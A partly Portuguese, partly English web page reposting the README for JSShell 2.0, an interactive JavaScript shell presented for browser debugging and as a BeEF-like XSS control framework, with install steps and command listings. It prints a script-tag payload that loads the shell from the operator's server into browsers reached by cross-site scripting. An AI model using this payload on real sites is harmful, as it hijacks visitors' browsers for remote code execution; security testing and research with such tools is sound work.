Um shell de javascript interativo multi-usuário baseado na web. Foi criado inicialmente para depurar navegadores esotéricos remotos durante experimentos e pesquisas. Essa ferramenta pode ser facilmente anexada à carga útil XSS (Cross Site Scripting) para obter a execução remota de código do navegador (semelhante ao framework BeeF). 
A versão 2.0 é criada inteiramente do zero, introduzindo novos recursos interessantes, estabilidade e facilidade de manutenção.

Autor
Daniel Abeles . 

Vídeo da Shell

Características

  • Suporte multi-cliente
  • Suporte a objetos DOM cíclicos
  • Pre flight scripts
  • Command Queue & Context
  • Extensible with Plugins
  • Injectable via <script> tags
  • Dumping command output to file
  • Shell pagination

Instalação e configuração

Arquivo de configuração
Noresourcesdiretório, atualize oconfig.jsonarquivo com a configuração desejada:

  • Host do banco de dados – se estiver executando com o dockermétodo de implantação, escolha o host do banco de dados como db(que é o nome do host interno).
  • URL de retorno – o URL que as solicitações seguirão. O shell.jsarquivo faz algumas chamadas AJAX para registrar e pesquisar novos comandos. Geralmente será http://{YOUR_SERVER_IP}:{PORT}.
  • Script de inicialização – um script que é executado automaticamente quando o cliente JSShell CLI é gerado.
  • Também é possível apontar para um banco de dados remoto, se desejado.

Docker
This new version instructed installing and running via docker and docker-compose. Now, to install and run the entire JSShell framework, simply run:

$ ./start_docker_shell.sh

This will:

  • Start and create the database in the background
  • Start the web API server that handles incoming connections in the background
  • Spawn a new instance of the JSShell command line interface container

Regular
If you still want to use the old fashion method of installing, simply make sure you have a MongoDB database up and running, and update the config.json file residing in the resources directory.
I recommend using a virtual environment with pyenv:

$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

Or using virtualenv:

$ virtualenv -p python3.6 venv
$ source venv/bin/activate

Then, install the requirements:

$ pip install -r requirements.txt

Em execução
Se você usou odockermétodo, não há necessidade de executar o procedimento a seguir. 

Web Server
Caso contrário, uma vez que temos a configuração de banco de dados, é preciso iniciar o servidor web API. Para fazer, execute:

$ python manage.py web

Isso criará e executará um servidor da Web que escuta as conexões de entrada e serve nosso código JSShell. 

Shell
Agora para iniciar o JSShell CLI, execute o mesmo script, mas agora com o shellsinalizador:

$ python manage.py shell

Uso
Após configurar e executar os componentes necessários, insira ohelpcomando para ver os comandos disponíveis:

     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                Edit a file in a text editor
help                List available commands or provide detailed help for a specific command
history             View, run, edit, save, or clear previously entered commands
ipy                 Enter an interactive IPython shell
py                  Invoke Python command or shell
quit                Exit this application

Shell Based Operations
--------------------------------------------------------------------------------
back                Un-select the current selected client
clients             List and control the clients that have registered to our system
commands            Show the executed commands on the selected client
dump                Dumps a command to the disk
execute             Execute commands on the selected client
select              Select a client as the current client

>> 

O Flow
JSShell suporta dois métodos de operação:

  1. Shell injetável (semelhante ao framework BeeF)
  2. Shell hospedado (para depuração)

Shell Injetável
Semelhante a outras estruturas de controle XSS (como BeeF), o JSShell é capaz de gerenciar com sucesso as explorações de XSS. Por exemplo, se você puder injetar uma scripttag, injete o seguinte recurso em sua carga e um novo cliente aparecerá em seu console: 
<script src="http://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

Shell hospedado
Se você deseja depurar navegadores exóticos e esotéricos, basta navegar para http://{YOUR_SERVER_IP}:{PORT}/e um novo cliente pop-up em seu cliente JSShell CLI. Agora é debuggable através do nosso console JSShell. 

[sociallocker id=”1005″]

Download
[/sociallocker]